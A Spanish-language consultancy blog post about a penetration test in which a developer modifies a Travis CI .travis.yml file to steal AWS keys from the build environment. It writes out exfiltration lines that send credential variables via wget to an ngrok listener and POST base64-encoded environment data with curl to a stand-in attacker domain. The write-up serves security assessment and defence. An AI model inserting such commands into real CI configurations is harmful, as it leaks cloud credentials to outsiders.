Hackear a Jenkins para evitar una violación de datos en la nube

Blog post 3 febrero 2021 por Ricardo Sánchez, Especialista Senior en Seguridad de Bureau Veritas Cybersecurity


Como expertos en seguridad, hemos realizado muchas assessments de nubes en los últimos años, mientras la industria total está creciendo. A veces recibimos preguntas muy interesantes de nuestros clientes, que nos encantaría compartir. Una assessment de seguridad muy interesante surgió de una simple pregunta: "¿Qué es lo peor que puede pasar si el portátil de un desarrollador en la nube se ve comprometido?".

Se trata de una preocupación comprensible, ya que recientemente se han producido filtraciones masivas de datos en la nube. Sólo por citar algunas como ejemplo Capitol One perdió más de 100 millones de registros en EE.UU. y más de 6 millones en Canadá debido a una vulnerabilidad de falsificación de petición del lado del servidor [1], Marriot/Starwood más de 500 millones de registros de clientes en una filtración de 4 años [2], Facebook/Cultura Colectiva 540 millones de registros debido a una mala configuración de la nube AWS [3] y River City media 1.340 millones de registros en una filtración accidental de datos [4]. Esa es su peor pesadilla para un desarrollador de la nube y posiblemente no sea tan descabellada.

Adobe Stock 295355946

El escenario anónimo que evaluamos, tenía los siguientes supuestos:

  1. El desarrollador no tenía acceso a las claves de AWS (ni se suponía que lo tuviera)
  2. Para desplegar la infraestructura en la nube se utilizó el CICD.
  3. Las claves se guardaban en el CICD, donde el desarrollador no tenía acceso al entorno.
  4. Se supervisó el Proceso CICD para evitar despliegues fraudulentos o maliciosos en la nube.

Tras una sesiónconjunta de modelado de amenazas, descubrimos rutas de ataque interesantes y decidimos extraer las claves de AWS de la plataforma CICD y eludir toda la supervisión de seguridad. Y lo hicimos, con éxito.

En general, el proceso de despliegue de la infraestructura es el siguiente:

  1. Se escribe el código
  2. El código es empujado al repositorio de github
  3. Una vez empujado a github, travis lo procesará automáticamente
  4. Travis ejecuta una prueba en el CI
  5. La infraestructura se despliega en la nube
Cloud blogpost figure 1 final 2 0

Figura 1: Flujo estándar del proceso CICD

Hoy en día existen varios "sistemas de compilación" y cada uno de ellos presenta opciones de configuración similares:

  • Jenkins
  • Travis CI
  • Azure Pipelines
  • AWS CodeBuild


En este ejemplo en particular, se utilizará Travis ya que Travis CI es ampliamente utilizado y gratuito.

Travis CI utiliza archivos yaml para el despliegue. En particular, utiliza el archivo .travis.yml. Dado que este archivo en particular estaba bajo nuestro control como "rogue developers" (el escenario que fue definido por nuestro cliente) fuimos capaces de modificarlo y empujarlo a github. Una vez empujado a github travis lo procesará automáticamente.


Nuestra primera idea fue imprimir las variables clave y verlas en la consola. Desafortunadamente, la consola de travis no era accesible para nosotros. Por lo tanto, no pudimos ver la salida de las sentencias de impresión. Para extraer las variables clave interesantes como $AWS_ACCESS_KEY_ID, $aws_secret_key y $aws_key hicimos lo siguiente:

  1. Inicie un listener (como ngrok)
  2. Confirme un archivo `.travis.yml` modificado en el repositorio con el siguiente código:


after_success

  • echo $AWS_ACCESS_KEY_ID
  • wget http://<NGROK URL /$(echo $AWS_ACCESS_KEY_ID)
  • wget http://<NGROK URL /$(echo $aws_secret_key)
  • wget http://<NGROK URL /$(echo $aws_key)


Alternativamente, era posible obtener el entorno completo con

  • ENV_SEND=`env | base64`
  • curl -X POST -k https:// dominio-de-un-atacante.com/ --data "$ENV_SEND"


En el siguiente vídeo se puede observar el proceso completo:


Sobre el equipo

El peor escenario posible si el ordenador portátil de un desarrollador en la nube se ve comprometido fue ahora respondido con el impacto potencial de ser el siguiente en el "Salón de la Fama" de las violaciones de datos en la nube. Junto con este cliente también nos alineamos para implementar medidas para evitar que esto ocurra, lo que incluye servicios en la nube como se indica a continuación: 1, 2 y 3.

Esta investigación fue ejecutada por nuestros expertos de Secura Cloud Roy Stultiens yRicardo Sánchez. Nos encantaría ayudarle a obtener más información sobre la seguridad de su nube.

Podemos ayudarle y ofrecerle varios servicios en la nube como:

  1. Modelado de amenazas
  2. Cloud Security Training
  3. Cloud crystal box assessment
  4. Curso de formación en piratería en la nube
  5. Pruebas de ataque y Penetration Testing
  6. Gestión de vulnerabilidades.


Ricardo
es uno de los expertos en nube de Bureau Veritas Cybersecurity con un gran afán de superación. Tiene un MsC en ciber seguridad y le gusta completar varias certificaciones al año, lo que le lleva a la siguiente impresionante lista: OSCP, CISSP, SANS 588 (Cloud Penetration testing), SANS Manager 516 (Managing Security Vulnerabilities: Enterprise and Cloud), CCSK, AWS Certified Solutions Architect and Security Specialty, Azure Certified Security Engineer, Metasploit Pro Certified Specialist, Nexpose Advanced Administrator (NACA), Certified Ethical Hacker (CEH), eCCPT, eWPT, InsightIDR Certified Specialist, Network Assault, CompTIA Network y Security + Certifications. Así como una insignia de hacker en hack the box. Su perro Taco está a menudo a su lado y es un valioso miembro del equipo. ¿Está interesado en impulsar también su trayectoria de aprendizaje y convertirse en uno de nuestros hackers éticos? ¡ Únase a Secura!